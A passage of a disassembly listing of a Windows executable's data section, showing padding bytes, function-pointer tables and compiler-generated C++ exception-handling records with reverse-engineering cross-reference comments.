		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
		align 4
		dd 3E3h	dup(0)
off_43E000	dd offset sub_4017C6	; DATA XREF: sub_4036D0+3FEo
off_43E004	dd offset dword_4367D0	; DATA XREF: sub_403C70+2o
off_43E008	dd offset off_402009	; DATA XREF: sub_406BA0+2o sub_406C00o
off_43E00C	dd offset sub_4021F8	; DATA XREF: ___:00407075o
off_43E010	dd offset loc_402171	; DATA XREF: sub_409AE0+4o
					; sub_409B40+Bo ...
off_43E014	dd offset loc_402027	; DATA XREF: sub_40ADC0+2o
					; sub_40AE10+1Co
		dd offset dword_4367D0
		align 10h
off_43E020	dd offset loc_401ACD	; DATA XREF: ___:0040B118o
					; sub_40B170+1Eo
flt_43E024	dd 1.0			; DATA XREF: ___:0040B7C6r
off_43E028	dd offset sub_401A3C	; DATA XREF: sub_40F600+157o
					; sub_40FDA0+1Do
		dd offset sub_40212B
		dd 0
off_43E034	dd offset sub_401AB9	; DATA XREF: sub_40F600+142o
					; sub_40FDA0+23o
off_43E038	dd offset loc_40115E	; DATA XREF: sub_411860+36o
					; sub_411910+1Do
		dd offset loc_401FE6
		dd 0
off_43E044	dd offset sub_4014BF	; DATA XREF: ___:0041318Do
					; sub_413220+1Fo
		dd offset sub_401CF8
		align 10h
off_43E050	dd offset sub_4019BF	; DATA XREF: sub_416C00+6o
					; sub_417DF0+8o
		dd offset sub_4020A9
		dd 0
off_43E05C	dd offset loc_401C99	; DATA XREF: sub_416C60+6o
					; sub_417E20+8o
		dd offset sub_401230
		align 8
off_43E068	dd offset loc_40191A	; DATA XREF: sub_416CC0o sub_41FBD0+8o
		dd offset sub_401CDF
		dd 0
off_43E074	dd offset sub_40111D	; DATA XREF: sub_416D10o
					; sub_4190B0+36o
off_43E078	dd offset loc_4014A1	; DATA XREF: sub_417BC0+68o
off_43E07C	dd offset sub_401064	; DATA XREF: sub_417C60+8Bo
off_43E080	dd offset sub_40138E	; DATA XREF: sub_417D30+74o
off_43E084	dd offset loc_401B6D	; DATA XREF: sub_417E50+7Bo
off_43E088	dd offset loc_40202C	; DATA XREF: sub_417F10+7Bo
off_43E08C	dd offset loc_401F1E	; DATA XREF: sub_417FD0+3Eo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Fh,	40h, 0
off_43E094	dd offset loc_401FD7	; DATA XREF: sub_418080+3Eo
off_43E098	dd offset sub_401E4C	; DATA XREF: sub_418100+3Eo
off_43E09C	dd offset loc_40100A	; DATA XREF: sub_418180+10o
off_43E0A0	dd offset loc_4010B4	; DATA XREF: sub_4181B0+4Bo
off_43E0A4	dd offset sub_401BA4	; DATA XREF: sub_418230+10o
off_43E0A8	dd offset sub_401712	; DATA XREF: sub_418260+10o
off_43E0AC	dd offset sub_401613	; DATA XREF: sub_418290+6Bo
dbl_43E0B0	dq -3.0517578125e-5	; DATA XREF: sub_4198C0+22r
		dd 0
off_43E0BC	dd offset sub_401AF5	; DATA XREF: sub_41A010+Bo
					; sub_41A110+6o
off_43E0C0	dd offset sub_401E74	; DATA XREF: sub_41AFE0+Do sub_41B040o
off_43E0C4	dd offset sub_4013FC	; DATA XREF: ___:0041B3A2o
					; ___:0041B48Do
		dd offset sub_40167C
		align 10h
off_43E0D0	dd offset loc_4019E7	; DATA XREF: sub_41D670+77o
					; sub_41D760+1Do
		dd offset sub_401C80
		dd 0
off_43E0DC	dd offset sub_4011FE	; DATA XREF: sub_426450+32o
		dd offset sub_401A64
		dd offset sub_401A41
		dd 0
off_43E0EC	dd offset loc_4016D1	; DATA XREF: sub_4264C0+6Ao
					; sub_426560+1Do
		dd offset sub_401A64
		dd offset dword_4367D0
		dd 0
off_43E0FC	dd offset loc_401AAF	; DATA XREF: sub_4269A0+32o
		dd offset sub_401A64
		dd offset sub_401366
		dd 0
off_43E10C	dd offset sub_40181B	; DATA XREF: sub_426EB0+32o
		dd offset sub_401A64
		dd offset sub_401E92
		dd 0
off_43E11C	dd offset sub_40222A	; DATA XREF: sub_427590+32o
		dd offset sub_401A64
		dd offset sub_401A05
		dd 0
off_43E12C	dd offset sub_401C2B	; DATA XREF: sub_427DC0+32o
		dd offset sub_4021A8
		dd offset sub_4015AF
		dd 0
off_43E13C	dd offset loc_402068	; DATA XREF: sub_427E30+7Ao
					; sub_427EF0+1Do
		dd offset sub_4021A8
		dd offset dword_4367D0
		dd 0
off_43E14C	dd offset sub_4021B2	; DATA XREF: sub_428160+4Bo
					; sub_428250+10o
		dd offset sub_4021A8
		dd offset sub_401D2A
		dd 0
off_43E15C	dd offset loc_40112C	; DATA XREF: sub_4299C0+32o
					; sub_429A60+9o
		dd offset sub_4021A8
		dd offset sub_40137A
		dd 0
off_43E16C	dd offset loc_401B04	; DATA XREF: sub_429D00+32o
		dd offset sub_4021A8
		dd offset sub_4010AF
		dd 0
off_43E17C	dd offset sub_4017A8	; DATA XREF: sub_42A090+32o
		dd offset sub_4021A8
		dd offset sub_40188E
		dd 0
off_43E18C	dd offset sub_4020D1	; DATA XREF: sub_42B1D0+27o
dword_43E190	dd 0				dd 8, 0
off_43E19C	dd offset dword_4367D0	; DATA XREF: sub_42B240+39o
off_43E1A0	dd offset sub_401F41	; DATA XREF: ___:0042B312o
		dd offset sub_4021A8
		dd offset sub_40134D
		align 10h
off_43E1B0	dd offset sub_401B22	; DATA XREF: sub_42B480+32o
		dd offset sub_4021A8
		dd offset sub_40152D
		align 10h
		dd offset loc_4015F0
		dd offset sub_4021A8
		dd offset sub_4019E2
		align 10h
		dd offset dword_43E348
off_43E1D4	dd offset loc_436811	; DATA XREF: ___:00436808o
					; ___:off_4438C0o ...
		dd 0FFFFFFFFh, 436BACh,	436BC0h, 4Dh dup(0)
off_43E318	dd offset off_446CE0	; DATA XREF: ___:0043E330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43E318
		dd 0
		db    0			; DATA XREF: ___:0043E358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43E330h
dword_43E348	dd 3 dup(0)			dd offset off_446CE0
		dd offset unk_43E338
		dd 45h dup(0)
dword_43E470	dd 19930520h, 5, 43E490h, 5 dup(0)		dd 0FFFFFFFFh, 437B2Ch,	0
		dd offset dword_436FD0+0B30h
		dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0)
dword_43E4C0	dd 19930520h, 3Dh, 43E4E0h, 5 dup(0)		dd 0FFFFFFFFh, 437B70h,	0
		dd offset loc_437B7B
		dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh
		dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah
		dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h,	0Dh, 437C2Eh, 0Eh
		dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h,	11h, 437C66h, 12h
		dd 437C74h, 13h, 437C82h, 14h, 437C90h,	15h, 437C9Eh, 16h
		dd 437CACh, 17h, 437CBAh, 18h, 437CC8h,	19h, 437CD6h, 1Ah
		dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h,	1Dh, 437D0Eh, 1Eh
		dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h,	21h, 437D46h, 22h
		dd 437D54h, 23h, 437D62h, 24h, 437D70h,	25h, 437D7Eh, 26h
		dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h,	29h, 437DB6h, 2Ah
		dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h,	2Dh, 437DEEh, 2Eh
		dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h,	31h, 437E26h, 32h
		dd 437E34h, 33h, 437E42h, 34h, 437E50h,	35h, 437E5Eh, 36h
		dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h,	39h, 437E96h, 3Ah
		dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0)
dword_43E700	dd 19930520h, 1, 43E720h, 5 dup(0)		dd 0FFFFFFFFh, 437FA0h,	2 dup(0)
dword_43E730	dd 19930520h, 2, 43E750h, 5 dup(0)		dd 0FFFFFFFFh, 437FC0h,	0
		dd offset loc_437FC8
		dd 2 dup(0)
dword_43E768	dd 19930520h, 2, 43E788h, 5 dup(0)		dd 0FFFFFFFFh, 437FF0h,	0
		dd offset loc_437FF8
		align 10h
dword_43E7A0	dd 19930520h, 1, 43E7C0h, 5 dup(0)		dd 0FFFFFFFFh, 438020h,	2 dup(0)
dword_43E7D0	dd 19930520h, 7, 43E7F0h, 5 dup(0)		dd 0FFFFFFFFh, 438040h,	0
		dd offset loc_438048
		dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh
		dd 2 dup(0)
dword_43E830	dd 19930520h, 7, 43E850h, 5 dup(0)		dd 0FFFFFFFFh, 4380C0h,	0
		dd offset loc_4380C8
		dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh
		dd 2 dup(0)
dword_43E890	dd 19930520h, 11h, 43E8B0h, 5 dup(0)		dd 0FFFFFFFFh, 438140h,	0FFFFFFFFh, 438148h, 0FFFFFFFFh
		dd 438150h, 0FFFFFFFFh,	438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh
		dd 438168h, 0FFFFFFFFh,	438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh
		dd 438180h, 0FFFFFFFFh,	438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh
		dd 438198h, 0FFFFFFFFh,	4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh
		dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h,	4 dup(0)
dword_43E948	dd 19930520h, 0Bh, 43E968h, 5 dup(0)		dd 0FFFFFFFFh, 438200h,	0
		dd offset loc_438208
		dd 0FFFFFFFFh, 438210h,	2, 438218h, 0FFFFFFFFh,	438220h
		dd 0FFFFFFFFh, 438228h,	0FFFFFFFFh, 438230h, 0FFFFFFFFh
		dd 438238h, 7, 438243h,	7, 43824Bh, 9, 438253h,	4 dup(0)
dword_43E9D0	dd 19930520h, 31h, 43E9F0h, 5 dup(0)		dd 0FFFFFFFFh, 438280h,	0
		dd offset loc_43828B
		dd 0
		dd offset loc_438296
		dd 0FFFFFFFFh, 4382A1h,	0FFFFFFFFh, 4382ACh, 4,	4382B7h
		dd 0FFFFFFFFh, 4382C2h,	6, 4382CDh, 6, 4382D8h,	8, 4382E3h
		dd 0FFFFFFFFh, 4382EEh,	0Ah, 4382F9h, 0Ah, 438304h, 0Ah
		dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h,	0Ah, 438330h, 0FFFFFFFFh
		dd 43833Bh, 11h, 438346h, 11h, 438351h,	0FFFFFFFFh, 43835Ch
		dd 0FFFFFFFFh, 438367h,	15h, 438372h, 0FFFFFFFFh, 43837Dh
		dd 0FFFFFFFFh, 438388h,	18h, 438393h, 0FFFFFFFFh, 43839Eh
		dd 0FFFFFFFFh, 4383A9h,	0FFFFFFFFh, 4383B4h, 0FFFFFFFFh
		dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h,	1Dh, 4383E0h, 1Dh
		dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h,	22h, 43840Ch, 22h
		dd 438417h, 22h, 438422h, 22h, 43842Dh,	22h, 438438h, 22h
		dd 438443h, 22h, 43844Eh, 22h, 438459h,	22h, 438464h, 22h
		dd 43846Fh, 22h, 43847Ah, 22h, 438485h,	22h, 438490h, 0Ch dup(0)
dword_43EBA8	dd 19930520h, 2, 43EBC8h, 5 dup(0)		dd 0FFFFFFFFh, 438538h,	0
		dd offset loc_438530
		align 10h
dword_43EBE0	dd 19930520h, 2, 43EC00h, 5 dup(0)		dd 0FFFFFFFFh, 43857Bh,	0
		dd offset loc_438570
		dd 2 dup(0)
dword_43EC18	dd 19930520h, 3, 43EC38h, 5 dup(0)		dd 0FFFFFFFFh, 4385B0h,	0
		dd offset loc_4385BB
		dd 0
		dd offset loc_4385C6
		dd 2 dup(0)
dword_43EC58	dd 19930520h, 1, 43EC78h, 5 dup(0)		dd 0FFFFFFFFh, 4385F0h,	2 dup(0)
dword_43EC88	dd 19930520h, 1, 43ECA8h, 5 dup(0)		dd 0FFFFFFFFh, 438610h,	2 dup(0)
dword_43ECB8	dd 19930520h, 2, 43ECD8h, 5 dup(0)		dd 0FFFFFFFFh, 438630h,	0
		dd offset loc_438638
		align 10h
dword_43ECF0	dd 19930520h, 56h, 43ED10h, 5 dup(0)		dd 0FFFFFFFFh, 438650h,	0
		dd offset loc_43865B
		dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h
		dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah
		dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h,	0Dh, 4386DEh, 0Eh
		dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh,	11h, 43870Ah, 12h
		dd 438715h, 13h, 438720h, 14h, 43872Bh,	15h, 438736h, 16h
		dd 438741h, 17h, 43874Ch, 18h, 438757h,	19h, 438762h, 1Ah
		dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h,	1Dh, 43878Eh, 1Eh
		dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh,	1Eh, 4387BAh, 1Eh
		dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh,	1Eh, 4387E6h, 1Eh
		dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh,	1Eh, 438807h, 2Ah
		dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh,	2Dh, 438828h, 1Eh
		dd 438828h, 1Eh, 438833h, 30h, 43883Eh,	1Eh, 43883Eh, 1Eh
		dd 438849h, 33h, 438854h, 1Eh, 438854h,	1Eh, 43885Fh, 36h
		dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h,	39h, 438880h, 1Eh
		dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h,	1Eh, 438896h, 1Eh
		dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh,	1Eh, 4388B7h, 42h
		dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh,	45h, 4388D8h, 1Eh
		dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh,	1Eh, 4388EEh, 1Eh
		dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h,	1Eh, 43890Fh, 4Eh
		dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h,	51h, 438930h, 52h
		dd 43893Bh, 53h, 438946h, 54h, 438951h,	13h dup(0)
		dd offset off_4438C0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	436800h, 2 dup(0)
		dd offset off_4438E0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436C2Ah, 2 dup(0)
		dd offset off_443908
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436C30h, 0
dword_43F068	dd 3, 43F048h, 43F028h,	43F008h, 2 dup(0)dword_43F080	dd 0							; ___:0040A997o
		dd offset dword_436BD4+62h
		dd 0
		dd offset dword_43F068
		dd 2 dup(0)
dword_43F098	dd 19930520h, 1, 43F0B8h, 5 dup(0)		dd 0FFFFFFFFh, 438A30h,	2 dup(0)
dword_43F0C8	dd 19930520h, 1, 43F0E8h, 5 dup(0)		dd 0FFFFFFFFh, 438A50h,	2 dup(0)
dword_43F0F8	dd 19930520h, 3, 43F118h, 5 dup(0)		dd 0FFFFFFFFh, 438A70h,	0
		dd offset loc_438A87
		dd 1, 438A8Fh, 2 dup(0)
dword_43F138	dd 19930520h, 1, 43F158h, 5 dup(0)		dd 0FFFFFFFFh, 438AB0h,	2 dup(0)
dword_43F168	dd 19930520h, 2, 43F188h, 1, 43F198h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F1B0h, 4	dup(0)
		dd offset sub_40AE52
		dd 2 dup(0)
dword_43F1C8	dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F210h, 4	dup(0)
		dd offset sub_40AFD1
		dd 2 dup(0)
dword_43F228	dd 19930520h, 4, 43F248h, 5 dup(0)		dd 0FFFFFFFFh, 438AF0h,	0
		dd offset loc_438AFB
		dd 1, 438B06h, 2, 438B11h, 2 dup(0)
dword_43F270	dd 19930520h, 4, 43F290h, 5 dup(0)		dd 0FFFFFFFFh, 438B40h,	0
		dd offset loc_438B4B
		dd 1, 438B56h, 2, 438B61h, 2 dup(0)
dword_43F2B8	dd 19930520h, 3, 43F2D8h, 5 dup(0)		dd 0FFFFFFFFh, 438B90h,	0FFFFFFFFh, 438B98h, 0FFFFFFFFh
		dd 438BA0h, 2 dup(0)
dword_43F2F8	dd 19930520h, 3, 43F318h, 5 dup(0)		dd 0FFFFFFFFh, 438BC0h,	0
		dd offset loc_438BC8
		dd 1, 438BD0h, 2 dup(0)
dword_43F338	dd 19930520h, 1, 43F358h, 5 dup(0)		dd 0FFFFFFFFh, 438BF0h,	2 dup(0)
dword_43F368	dd 19930520h, 4, 43F388h, 5 dup(0)		dd 0FFFFFFFFh, 438C10h,	0FFFFFFFFh, 438C18h, 0FFFFFFFFh
		dd 438C20h, 2, 438C28h,	2 dup(0)
dword_43F3B0	dd 19930520h, 1, 43F3D0h, 5 dup(0)		dd 0FFFFFFFFh, 438C50h,	2 dup(0)
dword_43F3E0	dd 19930520h, 4, 43F400h, 5 dup(0)		dd 0FFFFFFFFh, 438C70h,	0
		dd offset loc_438C7B
		dd 0
		dd offset loc_438C86
		dd 2, 438C91h, 2 dup(0)
dword_43F428	dd 19930520h, 1, 43F448h, 5 dup(0)		dd 0FFFFFFFFh, 438CC0h,	2 dup(0)
dword_43F458	dd 19930520h, 5, 43F478h, 5 dup(0)		dd 0FFFFFFFFh, 438CE0h,	0
		dd offset loc_438CEB
		dd 0
		dd offset loc_438CF6
		dd 0
		dd offset loc_438D01
		dd 0
		dd offset loc_438D0C
		dd 2 dup(0)
dword_43F4A8	dd 19930520h, 2, 43F4C8h, 5 dup(0)		dd 0FFFFFFFFh, 438D40h,	0
		dd offset loc_438D4B
		align 10h
dword_43F4E0	dd 19930520h, 2, 43F500h, 5 dup(0)		dd 0FFFFFFFFh, 438D70h,	0
		dd offset loc_438D7B
		dd 2 dup(0)
dword_43F518	dd 19930520h, 4, 43F538h, 5 dup(0)		dd 0FFFFFFFFh, 438DA0h,	0FFFFFFFFh, 438DA8h, 0FFFFFFFFh
		dd 438DB0h, 0FFFFFFFFh,	438DB8h, 2 dup(0)
dword_43F560	dd 19930520h, 8, 43F580h, 5 dup(0)		dd 0FFFFFFFFh, 438DE0h,	0
		dd offset loc_438DEB
		dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h
		dd 1, 438E2Dh, 4 dup(0)
dword_43F5D0	dd 19930520h, 0Dh, 43F5F0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0FFFFFFFFh, 438E6Bh, 1,	438E76h
		dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh
		dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh
		dd 438EE4h, 4 dup(0)
dword_43F668	dd 19930520h, 6, 43F688h, 5 dup(0)		dd 0FFFFFFFFh, 438F20h,	0
		dd offset loc_438F28
		dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0)
dword_43F6C0	dd 19930520h, 6, 43F6E0h, 5 dup(0)		dd 0FFFFFFFFh, 438F70h,	0
		dd offset loc_438F78
		dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0)
dword_43F718	dd 19930520h, 3, 43F738h, 5 dup(0)		dd 0FFFFFFFFh, 438FC0h,	0
		dd offset loc_438FC8
		dd 1, 438FD0h, 2 dup(0)
dword_43F758	dd 19930520h, 1, 43F778h, 5 dup(0)		dd 0FFFFFFFFh, 438FF0h,	2 dup(0)
dword_43F788	dd 19930520h, 7, 43F7A8h, 5 dup(0)		dd 0FFFFFFFFh, 439010h,	0
		dd offset loc_439018
		dd 0FFFFFFFFh, 439020h,	0FFFFFFFFh, 439028h, 3,	439030h
